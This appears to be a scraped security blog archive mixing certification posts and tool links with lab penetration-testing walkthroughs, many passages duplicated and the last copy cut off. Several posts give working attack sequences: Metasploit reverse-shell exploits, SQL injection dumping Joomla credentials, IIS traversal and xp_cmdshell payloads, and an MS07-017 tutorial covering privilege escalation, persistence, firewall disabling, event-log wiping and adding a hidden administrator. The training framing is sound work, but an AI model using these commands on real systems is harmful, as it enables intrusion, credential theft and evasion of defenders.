PenTest Magazine is from Poland.
To download the full version of the magazine, you just have to create a free account on www.pentestmag.com.
Only members can download the magazine.
Wednesday, March 28, 2012
PenTest Market Magazine
I wrote an article and published it in Penetration Testing Market Magazine Vol.1 No. 1 Issue 01/2012(01), March.
CISSP or CISA?
Many people are getting confused with CISSP and CISA. But there really should be no confusion on the two because they are very different from each other.
The CISSP or Certified Information Systems Security Professional is a certification managed and governed by the International Information Systems Security Certification Consortium or (ISC)2 for IT professionals in the information security field. The CISSP falls under the IT industry and is a very popular certificate for systems security. It is very different from CISA because CISSP is strictly IT in nature.
CISA on the other hand is an auditing certification. CISA stands for Certified Information Systems Auditor. While both CISSP and CISA may contain the words Information Systems, CISSP is for security and CISA is for auditing. CISSP is needed if you are thinking of information systems security career path. This is a highly technical exam but is also in high demand these days. CISA is needed if your career path is for becoming an auditor in information systems. This is a management-type exam and based around audit management and compliance. Security does not play a major role in this certification exam.
Both the CISSP and CISA certifications, however, require a minimum of five years experience in order for you to receive the certification. CISA requires three years of education and two years of actual experience. The CISSP requires five years IT security experience (but will also accept four years experience if the candidate has a college degree). Both the CISSP and CISA certification exams are tough but not impossible to pass.
So there you are. While both are based on information systems, their major difference is that the CISSP is for security and the CISA is for audit.
Saturday, February 4, 2012
CISSP (Certified Information Systems Security Professional)
If you plan to build a career in information security – one of today’s most visible professions – and if you have at least five full years of experience in information security, then the CISSP® credential should be your next career goal. It’s the credential for professionals who develop policies and procedures in information security.
A CISSP is an information assurance professional who defines the architecture, design, management and/or controls that assure the security of business environments. The vast breadth of knowledge and the experience it takes to pass the exam is what sets the CISSP apart. The credential demonstrates a globally recognized standard of competence provided by the (ISC)²® CBK which covers critical topics in security today, including cloud computing, mobile security, application development security, risk management and more.
The CISSP was the first credential in the field of information security to meet the stringent requirements of ISO/IEC Standard 17024. CISSP certification is not only an objective measure of excellence, but a also globally recognized standard of achievement.
Wednesday, October 19, 2011
SSCP (Systems Security Certified Professional)
The SSCP credential seems to be the most misunderstood and under appreciated of
those certifications offered by (ISC)2. In actuality, it is one of the most critical and
essential in the field. This is because the work of the SSCP is where the effectiveness
of information security is implemented. Few CISSPs have the technical skills necessary
to perform the hands-on implementation of the information security controls
that they determine to be necessary to effectively protect the critical and sensitive
resources of the organization.
In a mainframe environment, the SSCP role is usually performed by systems
programmers assigned to the security department. Otherwise, it would be the
responsibility of a system or network administrator from operations.
The security role of the SSCP is twofold. First, they are responsible for the
due care activity of correctly implementing and maintaining designated security
mechanisms. Second, they are in the best position to accurately evaluate the effectiveness
of the installed controls—the due diligence side of the equation.
The SCP certification domains are named after the seven major categories of
the SSCP Common Body of Knowledge (CBK). The CBK is a taxonomy of topics
and sub-topics that is updated annually by the SSCP CBK Committee composed
of international subject matter experts. Currently, the seven categories are:
◾Access Control
◾Analysis and Monitoring
◾Cryptography
◾Malicious Code
◾Networks and Telecommunications
◾Risk, Response, and Recovery
◾Security Operations and Administration
those certifications offered by (ISC)2. In actuality, it is one of the most critical and
essential in the field. This is because the work of the SSCP is where the effectiveness
of information security is implemented. Few CISSPs have the technical skills necessary
to perform the hands-on implementation of the information security controls
that they determine to be necessary to effectively protect the critical and sensitive
resources of the organization.
In a mainframe environment, the SSCP role is usually performed by systems
programmers assigned to the security department. Otherwise, it would be the
responsibility of a system or network administrator from operations.
The security role of the SSCP is twofold. First, they are responsible for the
due care activity of correctly implementing and maintaining designated security
mechanisms. Second, they are in the best position to accurately evaluate the effectiveness
of the installed controls—the due diligence side of the equation.
The SCP certification domains are named after the seven major categories of
the SSCP Common Body of Knowledge (CBK). The CBK is a taxonomy of topics
and sub-topics that is updated annually by the SSCP CBK Committee composed
of international subject matter experts. Currently, the seven categories are:
◾Access Control
◾Analysis and Monitoring
◾Cryptography
◾Malicious Code
◾Networks and Telecommunications
◾Risk, Response, and Recovery
◾Security Operations and Administration
Monday, May 30, 2011
BackTrack 5
BackTrack 5 released on May 11.
BackTrack is intended for all audiences from the most savvy security professionals to early newcomers to the information security field. BackTrack promotes a quick and easy way to find and update the largest database of security tools collection to-date. Our community of users range from skilled penetration testers in the information security field, government entities, information technology, security enthusiasts, and individuals new to the security community.
Visit http://www.backtrack-linux.org/downloads/ to download your preferable flavor.
BackTrack is intended for all audiences from the most savvy security professionals to early newcomers to the information security field. BackTrack promotes a quick and easy way to find and update the largest database of security tools collection to-date. Our community of users range from skilled penetration testers in the information security field, government entities, information technology, security enthusiasts, and individuals new to the security community.
Feedback from all industries and skill levels allows us to truly develop a solution that is tailored towards everyone and far exceeds anything ever developed both commercially and freely available. The project is funded by Offensive Security. Whether you’re hacking wireless, exploiting servers, performing a web application assessment, learning, or social-engineering a client, BackTrack is the one-stop-shop for all of your security needs.
BackTrack 5 comes in several flavours and architectures. VM & ISO come with KDE & GNOME flavors.
Visit http://www.backtrack-linux.org/downloads/ to download your preferable flavor.
Saturday, April 30, 2011
Microsoft EMET
The enhanced Mitigation Experience Toolkit (EMET) is designed to help prevent hackers from gaining access to your system.
Software vulnerabilities and exploits have become an everyday part of life. Virtually every product has to deal with them and consequently, users are faced with a stream of security updates. For users who get attacked before the latest updates have been applied or who get attacked before an update is even available, the results can be devastating: malware, loss of PII, etc.
Download EMET
Software vulnerabilities and exploits have become an everyday part of life. Virtually every product has to deal with them and consequently, users are faced with a stream of security updates. For users who get attacked before the latest updates have been applied or who get attacked before an update is even available, the results can be devastating: malware, loss of PII, etc.
Download EMET
Tuesday, March 8, 2011
Wordlists for Password Cracking
For those who are looking for Wordlists for password cracking (dictionary), you can download some good wordlists here:
http://www.outpost9.com/files/WordLists.html
http://wordlist.sourceforge.net/
http://www.openwall.com/passwords/wordlists/
and a password wordlist generator:
http://www.securiteam.com/tools/5ZP0N20GAW.html
http://www.outpost9.com/files/WordLists.html
http://wordlist.sourceforge.net/
http://www.openwall.com/passwords/wordlists/
and a password wordlist generator:
http://www.securiteam.com/tools/5ZP0N20GAW.html
Password Checker
Very good online Password Checkers...
Check this out:
http://www.passwordmeter.com/
and this...
http://www.yetanotherpasswordmeter.com/
Check this out:
http://www.passwordmeter.com/
and this...
http://www.yetanotherpasswordmeter.com/
Monday, December 6, 2010
OpenVAS Client & Server Connection
OpenVAS Vulnerability Scanner is one of the world most advanced Open Source vulnerability scanner available today. For some reasons, you might find that the OpenVAS server (openvassd) didn't run properly as expected after loading all plugins.
To check OpenVAS Client & Server connection, we can issue this command:
root@bt:/usr/local/sbin# lsof -i
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
cupsd 5491 root 2u IPv4 18281 TCP localhost:ipp (LISTEN)
nessusd 5759 root 4u IPv4 18917 TCP *:nessus (LISTEN)
nessusd 5759 root 6u IPv6 18920 TCP *:nessus (LISTEN)
nessusd 5759 root 8u IPv4 19018 TCP *:8834 (LISTEN)
dhclient 6245 root 5u IPv4 22498 UDP *:bootpc
openvassd 30053 root 4u IPv6 61325 TCP *:9390 (LISTEN)
OpenVAS-C 30065 root 5u IPv4 61625 TCP localhost:52713->localhost:9390 (ESTABLISHED)
openvassd 30069 root 6u IPv6 61346 TCP localhost:9390->localhost:52713 (ESTABLISHED)
OpenVAS server listens on TCP port 9390 by default.
To check OpenVAS Client & Server connection, we can issue this command:
root@bt:/usr/local/sbin# lsof -i
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
cupsd 5491 root 2u IPv4 18281 TCP localhost:ipp (LISTEN)
nessusd 5759 root 4u IPv4 18917 TCP *:nessus (LISTEN)
nessusd 5759 root 6u IPv6 18920 TCP *:nessus (LISTEN)
nessusd 5759 root 8u IPv4 19018 TCP *:8834 (LISTEN)
dhclient 6245 root 5u IPv4 22498 UDP *:bootpc
openvassd 30053 root 4u IPv6 61325 TCP *:9390 (LISTEN)
OpenVAS-C 30065 root 5u IPv4 61625 TCP localhost:52713->localhost:9390 (ESTABLISHED)
openvassd 30069 root 6u IPv6 61346 TCP localhost:9390->localhost:52713 (ESTABLISHED)
OpenVAS server listens on TCP port 9390 by default.
Tuesday, November 23, 2010
PenTest Challenge (131.107.1.250)
Solutions
1. MS-DNS RPC Vulnerability (MS07-029)
msf > use windows/dcerpc/ms07_029_msdns_zonename
msf exploit(ms07_029_msdns_zonename) > set RHOST 131.107.1.250
RHOST => 131.107.1.250
msf exploit(ms07_029_msdns_zonename) > set LHOST 131.107.1.252
LHOST => 131.107.1.252
msf exploit(ms07_029_msdns_zonename) > set LPORT 443
LPORT => 443
msf exploit(ms07_029_msdns_zonename) > set TARGET 0
TARGET => 0
msf exploit(ms07_029_msdns_zonename) > exploit
2. SQL Injection Vulnerability in Joomla Component (Amblog)
Link: http://www.exploit-db.com/exploits/14596/
http://131.107.1.250/joomla/index.php?option=com_amblog&view=amblog&catid=-1%20UNION%20SELECT%20@@version
http://131.107.1.250/joomla/index.php?option=com_amblog&task=article&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users
1. MS-DNS RPC Vulnerability (MS07-029)
msf > use windows/dcerpc/ms07_029_msdns_zonename
msf exploit(ms07_029_msdns_zonename) > set RHOST 131.107.1.250
RHOST => 131.107.1.250
msf exploit(ms07_029_msdns_zonename) > set LHOST 131.107.1.252
LHOST => 131.107.1.252
msf exploit(ms07_029_msdns_zonename) > set LPORT 443
LPORT => 443
msf exploit(ms07_029_msdns_zonename) > set TARGET 0
TARGET => 0
msf exploit(ms07_029_msdns_zonename) > exploit
2. SQL Injection Vulnerability in Joomla Component (Amblog)
Link: http://www.exploit-db.com/exploits/14596/
http://131.107.1.250/joomla/index.php?option=com_amblog&view=amblog&catid=-1%20UNION%20SELECT%20@@version
http://131.107.1.250/joomla/index.php?option=com_amblog&task=article&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users
Monday, November 22, 2010
IDS Testing (Samples)
TEST-BT4 = 131.107.1.252, DEN-WEB1 = 131.107.1.101, DEN-WEB2 = 131.107.1.254, LON-IDS1 = 131.107.1.126
From TEST-BT4, launch these commands:
Anomaly Test
ping -s 65000 131.107.1.254
Port Scan Tests
nmap -sS 131.107.1.254
hping2 --scan 80,135,443,445 -S 131.107.1.254
Web Attack Tests
http://131.107.1.254/robots.txt
http://131.107.1.126/robots.txt
http://131.107.1.254/.htaccess
http://131.107.1.126/.htaccess
IIS Unicode Directory Traversal Attack Tests
http://131.107.1.101/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
http://131.107.1.254/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
nc -v 131.107.1.101 80
GET http://131.107.1.101/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
MS-SQL Injection Tests
http://131.107.1.101/index.asp?newscode=1'
http://131.107.1.101/index.asp?newscode=1 having 1=1 --
http://131.107.1.101/index.asp?newscode=1 group by newsid having 1=1 --
http://131.107.1.101/index.asp?newscode=1 group by newsid,newsdesc having 1=1 --
http://131.107.1.101/index.asp?newscode=1;update newstable1 set newsdesc='HACKED!' where newsid=1;--
http://131.107.1.101/index.asp?newscode=1;exec master..xp_cmdshell 'dir c:\';--
Exploit Test
cd /pentest/exploits/framework3
./msfconsole
msf > use windows/dcerpc/ms03_026_dcom
msf > set PAYLOAD windows/shell/reverse_tcp
msf > set RHOST 131.107.1.254
msf > set LHOST 131.107.1.252
msf > set LPORT 443
msf > exploit
Evading IDS Detection using Slow/Sneaky Scan Test
nmap -sS -PN -p80,443 -T1 131.107.1.254
From TEST-BT4, launch these commands:
Anomaly Test
ping -s 65000 131.107.1.254
Port Scan Tests
nmap -sS 131.107.1.254
hping2 --scan 80,135,443,445 -S 131.107.1.254
Web Attack Tests
http://131.107.1.254/robots.txt
http://131.107.1.126/robots.txt
http://131.107.1.254/.htaccess
http://131.107.1.126/.htaccess
IIS Unicode Directory Traversal Attack Tests
http://131.107.1.101/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
http://131.107.1.254/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
nc -v 131.107.1.101 80
GET http://131.107.1.101/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
MS-SQL Injection Tests
http://131.107.1.101/index.asp?newscode=1'
http://131.107.1.101/index.asp?newscode=1 having 1=1 --
http://131.107.1.101/index.asp?newscode=1 group by newsid having 1=1 --
http://131.107.1.101/index.asp?newscode=1 group by newsid,newsdesc having 1=1 --
http://131.107.1.101/index.asp?newscode=1;update newstable1 set newsdesc='HACKED!' where newsid=1;--
http://131.107.1.101/index.asp?newscode=1;exec master..xp_cmdshell 'dir c:\';--
Exploit Test
cd /pentest/exploits/framework3
./msfconsole
msf > use windows/dcerpc/ms03_026_dcom
msf > set PAYLOAD windows/shell/reverse_tcp
msf > set RHOST 131.107.1.254
msf > set LHOST 131.107.1.252
msf > set LPORT 443
msf > exploit
Evading IDS Detection using Slow/Sneaky Scan Test
nmap -sS -PN -p80,443 -T1 131.107.1.254
Monday, November 15, 2010
Metasploit Autopwn with Nessus
Use SQLite3 database driver
msf > db_driver sqlite3
Create "pentest" database
msf > db_create pentest
Import Nessus scan result
msf > db_import /tmp/131_107_1_101_scan.nessus
Display matching exploit modules
msf > db_autopwn -t -x
Launch matching exploits
msf > db_autopwn -e -x -r
Display open sessions
msf > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DEN-WEB1 131.107.1.252:34013 -> 131.107.1.101:1063
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DEN-WEB1 131.107.1.252:14816 -> 131.107.1.101:1064
3 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DEN-WEB1 131.107.1.252:20971 -> 131.107.1.101:1065
4 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DEN-WEB1 131.107.1.252:5517 -> 131.107.1.101:1066
5 meterpreter x86/win32 DEN-WEB1\IUSR_MICROSOF-3UK0WZ @ DEN-WEB1 131.107.1.252:8837 -> 131.107.1.101:1068
msf > sessions -l
msf > sessions -i 1
msf > db_driver sqlite3
Create "pentest" database
msf > db_create pentest
Import Nessus scan result
msf > db_import /tmp/131_107_1_101_scan.nessus
Display matching exploit modules
msf > db_autopwn -t -x
Launch matching exploits
msf > db_autopwn -e -x -r
Display open sessions
msf > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DEN-WEB1 131.107.1.252:34013 -> 131.107.1.101:1063
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DEN-WEB1 131.107.1.252:14816 -> 131.107.1.101:1064
3 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DEN-WEB1 131.107.1.252:20971 -> 131.107.1.101:1065
4 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DEN-WEB1 131.107.1.252:5517 -> 131.107.1.101:1066
5 meterpreter x86/win32 DEN-WEB1\IUSR_MICROSOF-3UK0WZ @ DEN-WEB1 131.107.1.252:8837 -> 131.107.1.101:1068
msf > sessions -l
msf > sessions -i 1
Tuesday, September 28, 2010
Tutorial: Exploiting IE with Windows Animated Cursor Vulnerability (MS07-017)
Local Host: 192.168.1.252/24 (TEST-BT4)
Target Host: 192.168.1.50/24 (LON-CL1)
Step 1: Create a resource file in /sources directory
root@bt:~# nano /sources/ie_ani
Enter the following as the contents of ie_ani file.
use windows/browser/ms07_017_ani_loadimage_chunksize
set PAYLOAD windows/meterpreter/reverse_tcp
set SRVHOST 192.168.1.252
set SRVPORT 80
set LHOST 192.168.1.252
set LPORT 443
set URIPATH /you_win
exploit
Press Ctrl-X and Y, then press Enter to save the file.
Step 2: Launch Metasploit from its working directory
root@bt:~# cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3# ./msfconsole -r /sources/ie_ani
resource (/sources/ie_ani)> use windows/browser/ms07_017_ani_loadimage_chunksize
resource (/sources/ie_ani)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/sources/ie_ani)> set SRVHOST 192.168.1.252
SRVHOST => 192.168.1.252
resource (/sources/ie_ani)> set SRVPORT 80
SRVPORT => 80
resource (/sources/ie_ani)> set LHOST 192.168.1.252
LHOST => 192.168.1.252
resource (/sources/ie_ani)> set LPORT 443
LPORT => 443
resource (/sources/ie_ani)> set URIPATH /you_win
URIPATH => /you_win
resource (/sources/ie_ani)> exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.252:443
[*] Using URL: http://192.168.1.252:80/you_win
[*] Server started.
Step 3: Launch Internet Explorer (IE) on your target machine
Type the following in the URL:
http://192.168.1.252/you_win
Switch to your machine. Check if you've got the connection from your target.
Once connected, you can continue interact with Meterpreter
msf exploit(ms07_017_ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to 192.168.1.50:1162...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.1.50:1162...
[*] Sending stage (748544 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.252:443 -> 192.168.1.50:1163) at Wed Sep 29 12:08:22 +0800 2010
Press Enter to check the opened sessions.
msf exploit(ms07_017_ani_loadimage_chunksize) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter LON-CL1\testuser @ LON-CL1 192.168.1.252:443 -> 192.168.1.50:1163
msf exploit(ms07_017_ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer: LON-CL1
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:d3:6a:60
IP Address : 192.168.1.50
Netmask : 255.255.255.0
Check our privilege level
meterpreter > getuid
Server username: LON-CL1\testuser
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
SeShutdownPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
meterpreter > upload /tmp/hacked.txt C:\\WINDOWS\\System32
[*] uploading : /tmp/hacked.txt -> C:\WINDOWS\System32
[-] core_channel_open: Operation failed: 5
Escalate our privilege
meterpreter > run kitrap0d
[*] Currently running as LON-CL1\testuser
[*] Loading the vdmallowed executable and DLL from the local system...
[*] Uploading vdmallowed to C:\DOCUME~1\testuser\LOCALS~1\Temp\LnZbxqeuZgMB.exe...
[*] Uploading vdmallowed to C:\DOCUME~1\testuser\LOCALS~1\Temp\vdmexploit.dll...
[*] Escalating our process (PID:1316)...
--------------------------------------------------
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---
[?] GetVersionEx() => 5.1
[?] NtQuerySystemInformation() => \WINDOWS\system32\ntkrnlpa.exe@804D7000
[?] Searching for kernel 5.1 signature: version 2...
[+] Trying signature with index 3
[+] Signature found 0x285ee bytes from kernel base
[+] Starting the NTVDM subsystem by launching MS-DOS executable
[?] CreateProcess("C:\WINDOWS\twunk_16.exe") => 180
[?] OpenProcess(180) => 0x7e8
[?] Injecting the exploit thread into NTVDM subsystem @0x7e8
[?] WriteProcessMemory(0x7e8, 0x2070000, "VDMEXPLOIT.DLL", 14);
[?] WaitForSingleObject(0x7d4, INFINITE);
[?] GetExitCodeThread(0x7d4, 0012FF44); => 0x77303074
[+] The exploit thread reports exploitation was successful
[+] w00t! You can now use the shell opened earlier
[*] Deleting files...
[*] Now running as NT AUTHORITY\SYSTEM
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
meterpreter > upload /tmp/hacked.txt C:\\WINDOWS\\System32
[*] uploading : /tmp/hacked.txt -> C:\WINDOWS\System32
[*] uploaded : /tmp/hacked.txt -> C:\WINDOWS\System32\hacked.txt
Maintain access by uploading Meterpreter agent
meterpreter > run persistence -h
OPTIONS:
-A Automatically start a matching multi/handler to connect to the agent
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i The interval in seconds between each connection attempt
-p The port on the remote host where Metasploit is listening
-r The IP of the system running Metasploit listening for the connect back
[-] Error in script: LocalJumpError unexpected return
meterpreter > run persistence -A -X -p 443 -r 192.168.1.252
[*] Creating a persistent agent: LHOST=192.168.1.252 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613927 bytes long
[*] Uploaded the persistent agent to C:\DOCUME~1\testuser\LOCALS~1\Temp\NooAHDFfrAL.vbs
[*] Agent executed with PID 1732
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\NaPNlcSlsZRpqA
[*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\NaPNlcSlsZRpqA
[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/persistence/LON-CL1_20100929.2413/clean_up__20100929.2413.rc
Exit from the target system.
meterpreter > exit
Step 4: Create a listener on our machine
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.252
LHOST => 192.168.1.252
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.252:443
[*] Starting the payload handler...
[*] Sending stage (748544 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.252:443 -> 192.168.1.50:1176) at Wed Sep 29 12:30:27 +0800 2010
Clearing tracks (housekeeping)
meterpreter > run disable_audit
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > run getcountermeasure -h
Getcountermeasure -- List (or optionally, kill) HIPS and AV
processes, show XP firewall rules, and display DEP and UAC
policies
OPTIONS:
-d Disable built in Firewall
-h Help menu.
-k Kill any AV, HIPS and Third Party Firewall process found.
meterpreter > run getcountermeasure -d
[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*] Getting Windows Built in Firewall configuration...
[*]
[*] Domain profile configuration (current):
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*] Exception mode = Enable
[*]
[*] Standard profile configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*] Exception mode = Enable
[*]
[*] Internal firewall configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*]
[*] External firewall configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*]
[*] Disabling Built in Firewall.....
[*] Checking DEP Support Policy...
meterpreter > clearev
[*] Wiping 942 records from Application...
[*] Wiping 1984 records from System...
[*] Wiping 1 records from Security...
Enabling and Accessing Remote Desktop
meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20100929.3437.rc
meterpreter > shell
Process 820 created.
Channel 18 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\testuser\Desktop>net user hacker P@ssw0rd /add
net user hacker P@ssw0rd /add
The command completed successfully.
C:\Documents and Settings\testuser\Desktop>net localgroup administrators hacker /add
net localgroup administrators hacker /add
The command completed successfully.
C:\Documents and Settings\testuser\Desktop>^C
Terminate channel 18? [y/N] y
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:d3:6a:60
IP Address : 192.168.1.50
Netmask : 255.255.255.0
meterpreter >
Remote Desktop Connection
Open a new shell console, and run Remote Desktop client to connect to the target machine.
root@bt:~# rdesktop 192.168.1.50
WARNING: Remote desktop does not support colour depth 24; falling back to 16
Target Host: 192.168.1.50/24 (LON-CL1)
Step 1: Create a resource file in /sources directory
root@bt:~# nano /sources/ie_ani
Enter the following as the contents of ie_ani file.
use windows/browser/ms07_017_ani_loadimage_chunksize
set PAYLOAD windows/meterpreter/reverse_tcp
set SRVHOST 192.168.1.252
set SRVPORT 80
set LHOST 192.168.1.252
set LPORT 443
set URIPATH /you_win
exploit
Press Ctrl-X and Y, then press Enter to save the file.
Step 2: Launch Metasploit from its working directory
root@bt:~# cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3# ./msfconsole -r /sources/ie_ani
resource (/sources/ie_ani)> use windows/browser/ms07_017_ani_loadimage_chunksize
resource (/sources/ie_ani)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/sources/ie_ani)> set SRVHOST 192.168.1.252
SRVHOST => 192.168.1.252
resource (/sources/ie_ani)> set SRVPORT 80
SRVPORT => 80
resource (/sources/ie_ani)> set LHOST 192.168.1.252
LHOST => 192.168.1.252
resource (/sources/ie_ani)> set LPORT 443
LPORT => 443
resource (/sources/ie_ani)> set URIPATH /you_win
URIPATH => /you_win
resource (/sources/ie_ani)> exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.252:443
[*] Using URL: http://192.168.1.252:80/you_win
[*] Server started.
Step 3: Launch Internet Explorer (IE) on your target machine
Type the following in the URL:
http://192.168.1.252/you_win
Switch to your machine. Check if you've got the connection from your target.
Once connected, you can continue interact with Meterpreter
msf exploit(ms07_017_ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to 192.168.1.50:1162...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.1.50:1162...
[*] Sending stage (748544 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.252:443 -> 192.168.1.50:1163) at Wed Sep 29 12:08:22 +0800 2010
Press Enter to check the opened sessions.
msf exploit(ms07_017_ani_loadimage_chunksize) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter LON-CL1\testuser @ LON-CL1 192.168.1.252:443 -> 192.168.1.50:1163
msf exploit(ms07_017_ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer: LON-CL1
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:d3:6a:60
IP Address : 192.168.1.50
Netmask : 255.255.255.0
Check our privilege level
meterpreter > getuid
Server username: LON-CL1\testuser
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
SeShutdownPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
meterpreter > upload /tmp/hacked.txt C:\\WINDOWS\\System32
[*] uploading : /tmp/hacked.txt -> C:\WINDOWS\System32
[-] core_channel_open: Operation failed: 5
Escalate our privilege
meterpreter > run kitrap0d
[*] Currently running as LON-CL1\testuser
[*] Loading the vdmallowed executable and DLL from the local system...
[*] Uploading vdmallowed to C:\DOCUME~1\testuser\LOCALS~1\Temp\LnZbxqeuZgMB.exe...
[*] Uploading vdmallowed to C:\DOCUME~1\testuser\LOCALS~1\Temp\vdmexploit.dll...
[*] Escalating our process (PID:1316)...
--------------------------------------------------
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---
[?] GetVersionEx() => 5.1
[?] NtQuerySystemInformation() => \WINDOWS\system32\ntkrnlpa.exe@804D7000
[?] Searching for kernel 5.1 signature: version 2...
[+] Trying signature with index 3
[+] Signature found 0x285ee bytes from kernel base
[+] Starting the NTVDM subsystem by launching MS-DOS executable
[?] CreateProcess("C:\WINDOWS\twunk_16.exe") => 180
[?] OpenProcess(180) => 0x7e8
[?] Injecting the exploit thread into NTVDM subsystem @0x7e8
[?] WriteProcessMemory(0x7e8, 0x2070000, "VDMEXPLOIT.DLL", 14);
[?] WaitForSingleObject(0x7d4, INFINITE);
[?] GetExitCodeThread(0x7d4, 0012FF44); => 0x77303074
[+] The exploit thread reports exploitation was successful
[+] w00t! You can now use the shell opened earlier
[*] Deleting files...
[*] Now running as NT AUTHORITY\SYSTEM
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
